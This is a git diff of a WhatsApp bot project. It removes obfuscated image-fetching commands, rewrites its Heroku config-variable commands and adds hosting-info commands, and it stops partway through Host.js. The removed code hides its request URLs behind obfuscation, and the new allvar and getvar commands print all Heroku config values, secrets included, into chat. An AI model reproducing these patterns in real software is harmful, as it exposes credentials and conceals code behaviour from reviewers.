_0x62298e, _0x119833 = { - 'LSEai': _0x1cb698(0xe7) + _0x1cb698(0x117) + _0x1cb698(0x13d) + _0x1cb698(0xfc) + _0x1cb698(0x148), - 'XWuWX': function (_0x1af568, _0x34814d) { - return _0x1af568 < _0x34814d; - }, - 'AqaNw': function (_0x59cca5, _0x5cb660, _0x412a9b) { - return _0x59cca5(_0x5cb660, _0x412a9b); - }, - 'mQdXr': _0x1cb698(0x142) + _0x1cb698(0xea) + _0x1cb698(0x113) + _0x1cb698(0x160) - }, { - repondre: _0x4683b6, - ms: _0x2a9a44 - } = _0x417725, _0x3806ac = _0x119833[_0x1cb698(0xd7)]; - try { - for (let _0x20cc86 = 0x1 * -0x348 + 0x5f0 + 0x11 * -0x28; _0x119833[_0x1cb698(0x15b)](_0x20cc86, 0x5 * -0x1bd + -0x2329 + 0x3fd * 0xb); _0x20cc86++) { - const _0x7712ac = await axios[_0x1cb698(0x105)](_0x3806ac), _0x398f31 = _0x7712ac[_0x1cb698(0xd9)][_0x1cb698(0xff)]; - _0x226e55[_0x1cb698(0x147) + 'e'](_0x125e7f, { 'image': { 'url': _0x398f31 } }, { 'quoted': _0x2a9a44 }); - } - } catch (_0x8b50f7) { - _0x119833[_0x1cb698(0x159)](_0x4683b6, _0x119833[_0x1cb698(0x156)], _0x8b50f7); - } -}), france({ - 'nomCom': _0x62298e(0x114), - 'categorie': _0x62298e(0x15a), - 'reaction': '🚗' -}, async (_0x304594, _0x376fb4, _0x2627ec) => { - const _0x150ec1 = _0x62298e, _0x2c1e11 = { - 'TJZBD': _0x150ec1(0xe7) + _0x150ec1(0x117) + _0x150ec1(0x13d) + _0x150ec1(0xfc) + _0x150ec1(0x114), - 'eKHTS': function (_0x2b478b, _0x1b9e4e) { - return _0x2b478b < _0x1b9e4e; - }, - 'vxcOr': function (_0x159cb0, _0x779bbe, _0x521414) { - return _0x159cb0(_0x779bbe, _0x521414); - }, - 'AZnkn': _0x150ec1(0x142) + _0x150ec1(0xea) + _0x150ec1(0x113) + _0x150ec1(0x160) - }, { - repondre: _0xf3a5cb, - ms: _0x190f6c - } = _0x2627ec, _0x179498 = _0x2c1e11[_0x150ec1(0x128)]; - try { - for (let _0xf21f89 = -0x166 * -0xe + 0x13d5 * -0x1 + -0xd * -0x5; _0x2c1e11[_0x150ec1(0x162)](_0xf21f89, -0xb * -0x38b + -0x1672 + 0x841 * -0x2); _0xf21f89++) { - const _0x22d5c2 = await axios[_0x150ec1(0x105)](_0x179498), _0x1ff202 = _0x22d5c2[_0x150ec1(0xd9)][_0x150ec1(0xff)]; - _0x376fb4[_0x150ec1(0x147) + 'e'](_0x304594, { 'image': { 'url': _0x1ff202 } }, { 'quoted': _0x190f6c }); - } - } catch (_0x3ca27e) { - _0x2c1e11[_0x150ec1(0x115)](_0xf3a5cb, _0x2c1e11[_0x150ec1(0x14b)], _0x3ca27e); - } -}), france({ - 'nomCom': _0x62298e(0x14a), - 'categorie': _0x62298e(0x15a), - 'reaction': '💀' -}, async (_0x18b6db, _0x40af7c, _0x3a406a) => { - const _0x54812c = _0x62298e, _0x27ec4c = { - 'TUOlK': _0x54812c(0xe7) + _0x54812c(0x117) + _0x54812c(0x13d) + _0x54812c(0xfc) + _0x54812c(0xd4), - 'TJlQC': function (_0x5bd311, _0x54c67e) { - return _0x5bd311 < _0x54c67e; - }, - 'KMESe': function (_0x29b966, _0x1594f8, _0x41923f) { - return _0x29b966(_0x1594f8, _0x41923f); - }, - 'jDpRf': _0x54812c(0x142) + _0x54812c(0xea) + _0x54812c(0x113) + _0x54812c(0x160) - }, { - repondre: _0x206eaa, - ms: _0x5435a3 - } = _0x3a406a, _0x5ce3d4 = _0x27ec4c[_0x54812c(0xe2)]; - try { - for (let _0x19567a = 0x1277 + 0x7 * -0x45d + 0x60a * 0x2; _0x27ec4c[_0x54812c(0x12f)](_0x19567a, 0x1249 + -0xdd8 + 0x236 * -0x2); _0x19567a++) { - const _0x44d67e = await axios[_0x54812c(0x105)](_0x5ce3d4), _0x50418b = _0x44d67e[_0x54812c(0xd9)][_0x54812c(0xff)]; - _0x40af7c[_0x54812c(0x147) + 'e'](_0x18b6db, { 'image': { 'url': _0x50418b } }, { 'quoted': _0x5435a3 }); - } - } catch (_0x1f7184) { - _0x27ec4c[_0x54812c(0x153)](_0x206eaa, _0x27ec4c[_0x54812c(0x11e)], _0x1f7184); - } -}), france({ - 'nomCom': _0x62298e(0x143), - 'categorie': _0x62298e(0x15a), - 'reaction': '😋' -}, async (_0x5539b0, _0x14b11d, _0x17dcf0) => { - const _0x212bee = _0x62298e, _0x40cd2f = { - 'SezQe': _0x212bee(0xe7) + _0x212bee(0x117) + _0x212bee(0x13d) + _0x212bee(0xfc) + _0x212bee(0x143), - 'vOvKV': function (_0xd950cd, _0x223a2a) { - return _0xd950cd < _0x223a2a; - }, - 'FNDCR': function (_0x22ba4a, _0x3c98e6, _0xbb3ae9) { - return _0x22ba4a(_0x3c98e6, _0xbb3ae9); - }, - 'PsAsl': _0x212bee(0x142) + _0x212bee(0xea) + _0x212bee(0x113) + _0x212bee(0x160) - }, { - repondre: _0x359f9c, - ms: _0x9ba62e - } = _0x17dcf0, _0x21e8ba = _0x40cd2f[_0x212bee(0xd1)]; - try { - for (let _0x9a78a0 = -0x103 * -0x1d + 0x1dbb + 0x1 * -0x3b12; _0x40cd2f[_0x212bee(0x145)](_0x9a78a0, -0xeea + 0x9aa + 0x545); _0x9a78a0++) { - const _0x222408 = await axios[_0x212bee(0x105)](_0x21e8ba), _0x26059f = _0x222408[_0x212bee(0xd9)][_0x212bee(0xff)]; - _0x14b11d[_0x212bee(0x147) + 'e'](_0x5539b0, { 'image': { 'url': _0x26059f } }, { 'quoted': _0x9ba62e }); - } - } catch (_0x4ebd26) { - _0x40cd2f[_0x212bee(0x124)](_0x359f9c, _0x40cd2f[_0x212bee(0x11b)], _0x4ebd26); - } -}), france({ - 'nomCom': _0x62298e(0xf1), - 'categorie': _0x62298e(0x13c), - 'reaction': '😋' -}, async (_0x10d150, _0x34dd1c, _0x4623c2) => { - const _0x5795a2 = _0x62298e, _0x3f329b = { - 'IHIll': _0x5795a2(0xe7) + _0x5795a2(0x117) + _0x5795a2(0x13d) + _0x5795a2(0xfc) + _0x5795a2(0xf1), - 'NcigE': function (_0x27f93b, _0x58d515) { - return _0x27f93b < _0x58d515; - }, - 'cbJxk': function (_0x520b17, _0x45ed5c, _0x537b5b) { - return _0x520b17(_0x45ed5c, _0x537b5b); - }, - 'KCCYP': _0x5795a2(0x142) + _0x5795a2(0xea) + _0x5795a2(0x113) + _0x5795a2(0x160) - }, { - repondre: _0x1e337f, - ms: _0x1301a0 - } = _0x4623c2, _0x5ef377 = _0x3f329b[_0x5795a2(0x15e)]; - try { - for (let _0xe7a31d = 0x26c3 * -0x1 + 0x1 * 0x108c + -0x1637 * -0x1; _0x3f329b[_0x5795a2(0x12b)](_0xe7a31d, -0x2f3 * 0x1 + -0x9c7 * -0x1 + -0x1 * 0x6cf); _0xe7a31d++) { - const _0x196ce6 = await axios[_0x5795a2(0x105)](_0x5ef377), _0x1010d3 = _0x196ce6[_0x5795a2(0xd9)][_0x5795a2(0xff)]; - _0x34dd1c[_0x5795a2(0x147) + 'e'](_0x10d150, { 'image': { 'url': _0x1010d3 } }, { 'quoted': _0x1301a0 }); - } - } catch (_0x397247) { - _0x3f329b[_0x5795a2(0x146)](_0x1e337f, _0x3f329b[_0x5795a2(0x12c)], _0x397247); - } -}), france({ - 'nomCom': _0x62298e(0xd3), - 'categorie': _0x62298e(0x15a), - 'reaction': '🐶' -}, async (_0x2516a0, _0x5619c3, _0x43b364) => { - const _0x2250e5 = _0x62298e, _0x4b60ec = { - 'kRNsW': _0x2250e5(0xe7) + _0x2250e5(0x117) + _0x2250e5(0x13d) + _0x2250e5(0xfc) + _0x2250e5(0xd3), - 'jVaji': function (_0x1ef010, _0x5ec5ea) { - return _0x1ef010 < _0x5ec5ea; - }, - 'BRBNW': function (_0x4251b2, _0x9ef6e7, _0x302175) { - return _0x4251b2(_0x9ef6e7, _0x302175); - }, - 'wSwOY': _0x2250e5(0x142) + _0x2250e5(0xea) + _0x2250e5(0x113) + _0x2250e5(0x160) - }, { - repondre: _0x4e44b2, - ms: _0x3e4827 - } = _0x43b364, _0x2595f3 = _0x4b60ec[_0x2250e5(0xde)]; - try { - for (let _0x3e31fd = 0x10a9 * -0x1 + 0x16 * -0xfc + -0x2651 * -0x1; _0x4b60ec[_0x2250e5(0x130)](_0x3e31fd, 0x1 * -0x1d3c + 0x740 + -0x2b * -0x83); _0x3e31fd++) { - const _0x655775 = await axios[_0x2250e5(0x105)](_0x2595f3), _0x4e3096 = _0x655775[_0x2250e5(0xd9)][_0x2250e5(0xff)]; - _0x5619c3[_0x2250e5(0x147) + 'e'](_0x2516a0, { 'image': { 'url': _0x4e3096 } }, { 'quoted': _0x3e4827 }); - } - } catch (_0x4c99c5) { - _0x4b60ec[_0x2250e5(0x108)](_0x4e44b2, _0x4b60ec[_0x2250e5(0x10e)], _0x4c99c5); - } -}), france({ - 'nomCom': _0x62298e(0x138), - 'categorie': _0x62298e(0x15a), - 'reaction': '😋' -}, async (_0x36edad, _0x58b0ef, _0x54369e) => { - const _0x397c38 = _0x62298e, _0x4b97bf = { - 'cghib': _0x397c38(0xe7) + _0x397c38(0x117) + _0x397c38(0x13d) + _0x397c38(0xfc) + _0x397c38(0x138), - 'DQicf': function (_0x24c763, _0x52d2e0) { - return _0x24c763 < _0x52d2e0; - }, - 'NKgki': function (_0x5c1e6d, _0x45f310, _0x37ecd5) { - return _0x5c1e6d(_0x45f310, _0x37ecd5); - }, - 'HDtif': _0x397c38(0x142) + _0x397c38(0xea) + _0x397c38(0x113) + _0x397c38(0x160) - }, { - repondre: _0x3a0be7, - ms: _0x1401dc - } = _0x54369e, _0xf6745f = _0x4b97bf[_0x397c38(0xef)]; - try { - for (let _0x358569 = -0x43 * -0x4f + 0x1673 + -0x2e0 * 0xf; _0x4b97bf[_0x397c38(0xdf)](_0x358569, 0x780 + 0x1 * 0x16ed + -0x116 * 0x1c); _0x358569++) { - const _0x38f64f = await axios[_0x397c38(0x105)](_0xf6745f), _0x4b76af = _0x38f64f[_0x397c38(0xd9)][_0x397c38(0xff)]; - _0x58b0ef[_0x397c38(0x147) + 'e'](_0x36edad, { 'image': { 'url': _0x4b76af } }, { 'quoted': _0x1401dc }); - } - } catch (_0x4df707) { - _0x4b97bf[_0x397c38(0x157)](_0x3a0be7, _0x4b97bf[_0x397c38(0xe6)], _0x4df707); - } -}), france({ - 'nomCom': _0x62298e(0x137), - 'categorie': _0x62298e(0x15a), - 'reaction': '😋' -}, async (_0x4e751b, _0x17031f, _0x4f88a3) => { - const _0x41812e = _0x62298e, _0x52adc8 = { - 'efWxZ': _0x41812e(0xe7) + _0x41812e(0x117) + _0x41812e(0x13d) + _0x41812e(0xfc) + _0x41812e(0x137), - 'PtxHI': function (_0xaf1206, _0x3545c9) { - return _0xaf1206 < _0x3545c9; - }, - 'QDovz': function (_0x36149c, _0x585664, _0x1a67a9) { - return _0x36149c(_0x585664, _0x1a67a9); - }, - 'IYKLJ': _0x41812e(0x142) + _0x41812e(0xea) + _0x41812e(0x113) + _0x41812e(0x160) - }, { - repondre: _0x3d8a60, - ms: _0x4eb634 - } = _0x4f88a3, _0x11e424 = _0x52adc8[_0x41812e(0x109)]; - try { - for (let _0x1a8767 = 0x245b * 0x1 + 0x149c * -0x1 + 0xfbf * -0x1; _0x52adc8[_0x41812e(0xf0)](_0x1a8767, 0xa7 * 0x21 + -0x1 * 0xb20 + -0xa62); _0x1a8767++) { - const _0x510685 = await axios[_0x41812e(0x105)](_0x11e424), _0x331f6a = _0x510685[_0x41812e(0xd9)][_0x41812e(0xff)]; - _0x17031f[_0x41812e(0x147) + 'e'](_0x4e751b, { 'image': { 'url': _0x331f6a } }, { 'quoted': _0x4eb634 }); - } - } catch (_0x1b19e3) { - _0x52adc8[_0x41812e(0xeb)](_0x3d8a60, _0x52adc8[_0x41812e(0x10f)], _0x1b19e3); - } -}), france({ - 'nomCom': _0x62298e(0xfd), - 'categorie': _0x62298e(0x15a), - 'reaction': '🚲' -}, async (_0x1f99ed, _0x5ad98a, _0x4e75b1) => { - const _0x37fa02 = _0x62298e, _0x1d5f5c = { - 'pSzAT': _0x37fa02(0xe7) + _0x37fa02(0x117) + _0x37fa02(0x13d) + _0x37fa02(0xfc) + _0x37fa02(0xfd), - 'xSzNn': function (_0x44cb28, _0x885506) { - return _0x44cb28 < _0x885506; - }, - 'SqASf': function (_0x32e0de, _0x436ea8, _0x4634cc) { - return _0x32e0de(_0x436ea8, _0x4634cc); - }, - 'rhAUZ': _0x37fa02(0x142) + _0x37fa02(0xea) + _0x37fa02(0x113) + _0x37fa02(0x160) - }, { - repondre: _0x3001bf, - ms: _0x1af8e7 - } = _0x4e75b1, _0x3b241c = _0x1d5f5c[_0x37fa02(0xee)]; - try { - for (let _0x5d6ac8 = 0x3 * 0x262 + 0x17a4 + 0x7 * -0x466; _0x1d5f5c[_0x37fa02(0x111)](_0x5d6ac8, -0x2158 + 0x6 * 0x3b5 + 0xb1f); _0x5d6ac8++) { - const _0x4287e4 = await axios[_0x37fa02(0x105)](_0x3b241c), _0x2e7f3a = _0x4287e4[_0x37fa02(0xd9)][_0x37fa02(0xff)]; - _0x5ad98a[_0x37fa02(0x147) + 'e'](_0x1f99ed, { 'image': { 'url': _0x2e7f3a } }, { 'quoted': _0x1af8e7 }); - } - } catch (_0x393ab1) { - _0x1d5f5c[_0x37fa02(0x11f)](_0x3001bf, _0x1d5f5c[_0x37fa02(0x151)], _0x393ab1); - } -}), france({ - 'nomCom': _0x62298e(0x10a), - 'categorie': _0x62298e(0x15a), - 'reaction': '' -}, async (_0x2ebf3d, _0x9fc75, _0xe5802) => { - const _0x4beb60 = _0x62298e, _0x309b3e = { - 'wlexa': _0x4beb60(0xe7) + _0x4beb60(0x117) + _0x4beb60(0x13d) + _0x4beb60(0xfc) + _0x4beb60(0x14e), - 'RvzjO': function (_0x238ff2, _0x52afed) { - return _0x238ff2 < _0x52afed; - }, - 'RKRCC': function (_0x333b4c, _0x366172, _0x4490ec) { - return _0x333b4c(_0x366172, _0x4490ec); - }, - 'bzyMX': _0x4beb60(0x142) + _0x4beb60(0xea) + _0x4beb60(0x113) + _0x4beb60(0x160) - }, { - repondre: _0x3221da, - ms: _0xfaa0be - } = _0xe5802, _0x2a78da = _0x309b3e[_0x4beb60(0x11c)]; - try { - for (let _0x9b074 = 0xa48 + -0xe20 + 0x3d8; _0x309b3e[_0x4beb60(0x149)](_0x9b074, 0x2 * -0xb2 + 0x1702 + -0x13 * 0x123); _0x9b074++) { - const _0x98b192 = await axios[_0x4beb60(0x105)](_0x2a78da), _0xc4e52e = _0x98b192[_0x4beb60(0xd9)][_0x4beb60(0xff)]; - _0x9fc75[_0x4beb60(0x147) + 'e'](_0x2ebf3d, { 'image': { 'url': _0xc4e52e } }, { 'quoted': _0xfaa0be }); - } - } catch (_0x38d356) { - _0x309b3e[_0x4beb60(0x150)](_0x3221da, _0x309b3e[_0x4beb60(0x106)], _0x38d356); - } -}), france({ - 'nomCom': _0x62298e(0xda), - 'categorie': _0x62298e(0x15a), - 'reaction': '🌻' -}, async (_0x146e95, _0x39f255, _0x1dabb9) => { - const _0x2cab9d = _0x62298e, _0x535d94 = { - 'PLzwP': _0x2cab9d(0xe7) + _0x2cab9d(0x117) + _0x2cab9d(0x13d) + _0x2cab9d(0xfc) + _0x2cab9d(0xda), - 'ktvnd': function (_0x302541, _0x1f8f8f) { - return _0x302541 < _0x1f8f8f; - }, - 'fUKYY': function (_0x30f8cb, _0x500db8, _0x3d2ed1) { - return _0x30f8cb(_0x500db8, _0x3d2ed1); - }, - 'ZpAht': _0x2cab9d(0x142) + _0x2cab9d(0xea) + _0x2cab9d(0x113) + _0x2cab9d(0x160) - }, { - repondre: _0x304447, - ms: _0x35c0d2 - } = _0x1dabb9, _0x2dbc0d = _0x535d94[_0x2cab9d(0x133)]; - try { - for (let _0x51807b = 0x8c5 * 0x2 + 0x570 + -0x16fa; _0x535d94[_0x2cab9d(0x126)](_0x51807b, -0x242d + -0x26bd * 0x1 + 0x4aef); _0x51807b++) { - const _0x205a85 = await axios[_0x2cab9d(0x105)](_0x2dbc0d), _0x1d5826 = _0x205a85[_0x2cab9d(0xd9)][_0x2cab9d(0xff)]; - _0x39f255[_0x2cab9d(0x147) + 'e'](_0x146e95, { 'image': { 'url': _0x1d5826 } }, { 'quoted': _0x35c0d2 }); - } - } catch (_0x4f8402) { - _0x535d94[_0x2cab9d(0x121)](_0x304447, _0x535d94[_0x2cab9d(0x12a)], _0x4f8402); - } -}); diff --git a/commands/Heroku.js b/commands/Heroku.js index 1e4f907b..b15e0663 100644 --- a/commands/Heroku.js +++ b/commands/Heroku.js @@ -1,113 +1,164 @@ +const { franceking } = require('../main'); +const Heroku = require('heroku-client'); -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - - - - - -const { france } = require('../framework/france'); -const s = require('../set') - - -france( - { - nomCom : "setvar", - categorie : "heroku" - }, async (dest , zk , commandeOptions) =>{ - - const {ms,repondre,superUser , arg} = commandeOptions ; - - if(!superUser){repondre('only Mods can use this commande');return}; - if(!arg[0] || !(arg.join('').split('='))) {repondre('Bad format ; Exemple of using :\nSetvar OWNER_NAME=France King');return}; - - const text = arg.join(" ") - const Heroku = require("heroku-client"); - - const heroku = new Heroku({ - token: s.HEROKU_APY_KEY, - }); - - let baseURI = "/apps/" + s.HEROKU_APP_NAME; - await heroku.patch(baseURI + "/config-vars", { - body: { - [text.split('=')[0]]: text.split('=')[1], - }, - }); - await repondre('That Heroku var is changing,The bot is rebooting....') - } -); - -france( - { - nomCom : "allvar", - categorie : "heroku" - }, async (dest , zk , commandeOptions) =>{ - - const {ms,repondre,superUser , arg} = commandeOptions ; - - if(!superUser){repondre('only mods can use this commande');return}; - - const Heroku = require("heroku-client"); - - const heroku = new Heroku({ - token: s.HEROKU_APY_KEY, - }); - let baseURI = "/apps/" + s.HEROKU_APP_NAME; - - let h = await heroku.get(baseURI+'/config-vars') -let str = '*All my HEROKU Vars*\n\n' -for (vr in h) { -str+= '⚡ *'+vr+'* '+'= '+h[vr]+'\n' -} - repondre(str) +function getHerokuClient() { + const apiKey = process.env.HEROKU_API_KEY; + const appName = process.env.HEROKU_APP_NAME; + if (!apiKey || !appName) { + throw new Error('Missing HEROKU_API_KEY or HEROKU_APP_NAME in environment variables.'); + } + return { + heroku: new Heroku({ token: apiKey }), + baseURI: `/apps/${appName}` + }; } -); - - - france( - { - nomCom : "getvar", - categorie : "heroku" - }, async (dest , zk , commandeOptions) =>{ - - const {ms,repondre,superUser , arg} = commandeOptions ; - - if(!superUser){repondre('Only Mods can use this command');return}; - if(!arg[0]) {repondre('insert the variable name in capital letter'); return} ; - - try { - const Heroku = require("heroku-client"); - - const heroku = new Heroku({ - token: s.HEROKU_API_KEY, - }); - let baseURI = "/apps/" + s.HEROKU_APP_NAME; - let h = await heroku.get(baseURI+'/config-vars') - for (vr in h) { - if( arg.join(' ') ===vr ) return repondre( vr+'= '+h[vr]) ; - } - - } catch(e) {repondre('Error' + e)} - - }); +module.exports = [ + { + name: 'addvar', + get flashOnly() { + return franceking(); + }, + description: 'Adds a new Heroku config variable.', + category: 'HEROKU', + ownerOnly: true, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + + const input = args.join(" "); + if (!input.includes("=")) { + return king.sendMessage(fromJid, { text: "Invalid format. Usage: addvar VAR_NAME=VALUE" }, { quoted: msg }); + } + + const [varName, varValue] = input.split("=").map(s => s.trim()); + if (!/^[A-Z_]+$/.test(varName)) { + return king.sendMessage(fromJid, { text: "Variable name must be uppercase." }, { quoted: msg }); + } + + try { + const { heroku, baseURI } = getHerokuClient(); + await heroku.patch(baseURI + "/config-vars", { body: { [varName]: varValue } }); + await king.sendMessage(fromJid, { text: `Variable *${varName}* added! Restarting...` }, { quoted: msg }); + process.exit(0); + } catch (e) { + await king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); + } + } + }, + + { + name: 'delvar', + get flashOnly() { + return franceking(); + }, + description: 'Deletes a Heroku config variable.', + category: 'HEROKU', + ownerOnly: true, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + + const varName = args[0]; + if (!varName || !/^[A-Z_]+$/.test(varName)) { + return king.sendMessage(fromJid, { text: "Provide an uppercase variable name." }, { quoted: msg }); + } + + try { + const { heroku, baseURI } = getHerokuClient(); + await heroku.patch(baseURI + "/config-vars", { body: { [varName]: null } }); + await king.sendMessage(fromJid, { text: `Variable *${varName}* deleted. Restarting...` }, { quoted: msg }); + process.exit(0); + } catch (e) { + await king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); + } + } + }, + + { + name: 'setvar', + get flashOnly() { + return franceking(); + }, + description: 'Updates or sets a Heroku config variable.', + category: 'HEROKU', + ownerOnly: true, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + + const input = args.join(" "); + if (!input.includes("=")) { + return king.sendMessage(fromJid, { text: "Usage: setvar VAR_NAME=VALUE" }, { quoted: msg }); + } + + const [varName, varValue] = input.split("=").map(s => s.trim()); + + try { + const { heroku, baseURI } = getHerokuClient(); + await heroku.patch(baseURI + "/config-vars", { body: { [varName]: varValue } }); + await king.sendMessage(fromJid, { text: `Variable *${varName}* set. Restarting...` }, { quoted: msg }); + process.exit(0); + } catch (e) { + await king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); + } + } + }, + + { + name: 'getvar', + get flashOnly() { + return franceking(); + }, + description: 'Fetches a specific Heroku config variable.', + category: 'HEROKU', + ownerOnly: true, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + + const varName = args[0]; + if (!varName) { + return king.sendMessage(fromJid, { text: "Provide a variable name." }, { quoted: msg }); + } + + try { + const { heroku, baseURI } = getHerokuClient(); + const vars = await heroku.get(baseURI + "/config-vars"); + + if (vars[varName]) { + king.sendMessage(fromJid, { text: `*${varName}* = ${vars[varName]}` }, { quoted: msg }); + } else { + king.sendMessage(fromJid, { text: `Variable *${varName}* not found.` }, { quoted: msg }); + } + } catch (e) { + king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); + } + } + }, + + { + name: 'allvar', + get flashOnly() { + return franceking(); + }, + description: 'Lists all Heroku environment variables.', + category: 'HEROKU', + ownerOnly: true, + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + + try { + const { heroku, baseURI } = getHerokuClient(); + const vars = await heroku.get(baseURI + "/config-vars"); + + let reply = '*HEROKU CONFIG VARS*\n\n'; + for (const key in vars) { + reply += `*${key}* = ${vars[key]}\n`; + } + + king.sendMessage(fromJid, { text: reply }, { quoted: msg }); + } catch (e) { + king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Herokuu.js b/commands/Herokuu.js new file mode 100644 index 00000000..45820333 --- /dev/null +++ b/commands/Herokuu.js @@ -0,0 +1,126 @@ +const { franceking } = require('../main'); +const Heroku = require('heroku-client'); + +function getHerokuClient() { + const apiKey = process.env.HEROKU_API_KEY; + const appName = process.env.HEROKU_APP_NAME; + + if (!apiKey || !appName) { + throw new Error('Missing HEROKU_API_KEY or HEROKU_APP_NAME in environment variables.'); + } + + return { + heroku: new Heroku({ token: apiKey }), + baseURI: `/apps/${appName}` + }; +} + +function createHerokuCommand({ name, varName, allowedValues, description }) { + return { + name, + get flashOnly() { + return franceking(); + }, + description, + category: 'HEROKU', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + const input = args.join(" ").trim(); + + if (!input.includes('=')) { + return king.sendMessage(fromJid, { + text: `Usage: ${name} = value` + }, { quoted: msg }); + } + + const [key, valueRaw] = input.split('='); + const value = valueRaw.trim(); + + if (allowedValues && !allowedValues.includes(value.toLowerCase())) { + return king.sendMessage(fromJid, { + text: `❌ Invalid value for *${name}*.\nAllowed: ${allowedValues.join(', ')}` + }, { quoted: msg }); + } + + try { + const { heroku, baseURI } = getHerokuClient(); + await heroku.patch(baseURI + "/config-vars", { + body: { [varName]: value } + }); + + await king.sendMessage(fromJid, { + text: `✅ *${varName}* updated to *${value}*.\nRestarting bot...` + }, { quoted: msg }); + + process.exit(0); + } catch (e) { + await king.sendMessage(fromJid, { + text: '❌ Error: ' + e.message + }, { quoted: msg }); + } + } + }; +} + +module.exports = [ + createHerokuCommand({ + name: 'mode', + varName: 'MODE', + allowedValues: ['private', 'public'], + description: 'Set bot mode (private/public)' + }), + createHerokuCommand({ + name: 'prefix', + varName: 'PREFIX', + allowedValues: null, + description: 'Set command prefix(es), e.g. ! or !,+' + }), + createHerokuCommand({ + name: 'timezone', + varName: 'timezone', + allowedValues: null, + description: 'Set timezone (e.g. Africa/Nairobi)' + }), + createHerokuCommand({ + name: 'anticall', + varName: 'ANTICALL', + allowedValues: ['on', 'off'], + description: 'Enable or disable AntiCall' + }), + createHerokuCommand({ + name: 'antidelete', + varName: 'ANTIDELETE', + allowedValues: ['on', 'off'], + description: 'Enable or disable AntiDelete' + }), + createHerokuCommand({ + name: 'autoview', + varName: 'AUTO_READ_STATUS', + allowedValues: ['on', 'off'], + description: 'Enable or disable Auto View Status' + }), + createHerokuCommand({ + name: 'autoread', + varName: 'AUTO_READ_DM', + allowedValues: ['on', 'off'], + description: 'Enable or disable Auto Read DMs' + }), + createHerokuCommand({ + name: 'autolike', + varName: 'AUTO_LIKE', + allowedValues: ['on', 'off'], + description: 'Enable or disable Auto Like' + }), + createHerokuCommand({ + name: 'presence', + varName: 'PRESENCE_DM', + allowedValues: ['typing', 'recording', 'online', 'paused'], + description: 'Set presence for DMs' + }), + createHerokuCommand({ + name: 'presencegroup', + varName: 'PRESENCE_GROUP', + allowedValues: ['typing', 'recording', 'online', 'paused'], + description: 'Set presence for Groups' + }) +]; diff --git a/commands/Host.js b/commands/Host.js new file mode 100644 index 00000000..e2a6a2d5 --- /dev/null +++ b/commands/Host.js @@ -0,0 +1,90 @@ +const { franceking } = require('../main'); +const os = require('os'); +const moment = require('moment-timezone'); +const config = require('../config'); + +const botStartTime = Date.now(); + +function detectPlatform() { + const hostEnv = process.env.HOST_PROVIDER?.toLowerCase(); + + const providers = { + 'optiklink': 'Optiklink.com', + 'bot-hosting': 'Bot-Hosting.net', + 'heroku': 'Heroku', + 'railway': 'Railway', + 'koyeb': 'Koyeb', + 'render': 'Render', + 'github': 'GitHub Actions', + 'katabump': 'Katabump.com' + }; + + if (hostEnv && providers[hostEnv]) return providers[hostEnv]; + if (process.env.RAILWAY_STATIC_URL || process.env.RAILWAY_ENVIRONMENT) return 'Railway'; + if (process.env.KOYEB_ENV) return 'Koyeb'; + if (process.env.RENDER) return 'Render'; + if (process.env.GITHUB_WORKFLOW || process.env.GITHUB_ACTIONS) return 'GitHub Actions'; + if (process.env.DYNO) return 'Heroku'; + + return 'Unknown (Linux)'; +} + +function formatUptime(totalSec) { + const days = Math.floor(totalSec / (3600 * 24)); + const hrs = Math.floor((totalSec % (3600 * 24)) / 3600); + const mins = Math.floor((totalSec % 3600) / 60); + const secs = Math.floor(totalSec % 60); + + const parts = []; + if (days) parts.push(`${days}d`); + if (hrs) parts.push(`${hrs}h`); + if (mins) parts.push(`${mins}m`); + if (secs || parts.length === 0) parts.push(`${secs}s`); + + return parts.join(', '); +} + +module.exports = { + name: 'host', + get flashOnly() { + return franceking(); +}, + aliases: ['platform'], + description: 'Shows details about the current hosting environment.', + execute: async (king, msg, args, fromJid) => { + const platform = detectPlatform(); + const totalMem = (os.totalmem() / 1024 / 1024 / 1024).toFixed(2); + const freeMem = (os.freemem() / 1024 / 1024 / 1024).toFixed(2); + const usedMem = (totalMem - freeMem).toFixed(2); + + const uptimeBot = formatUptime((Date.now() - botStartTime) / 1000); + const time = moment().tz(config.timezone).format('HH:mm:ss | DD/MM/YYYY'); + 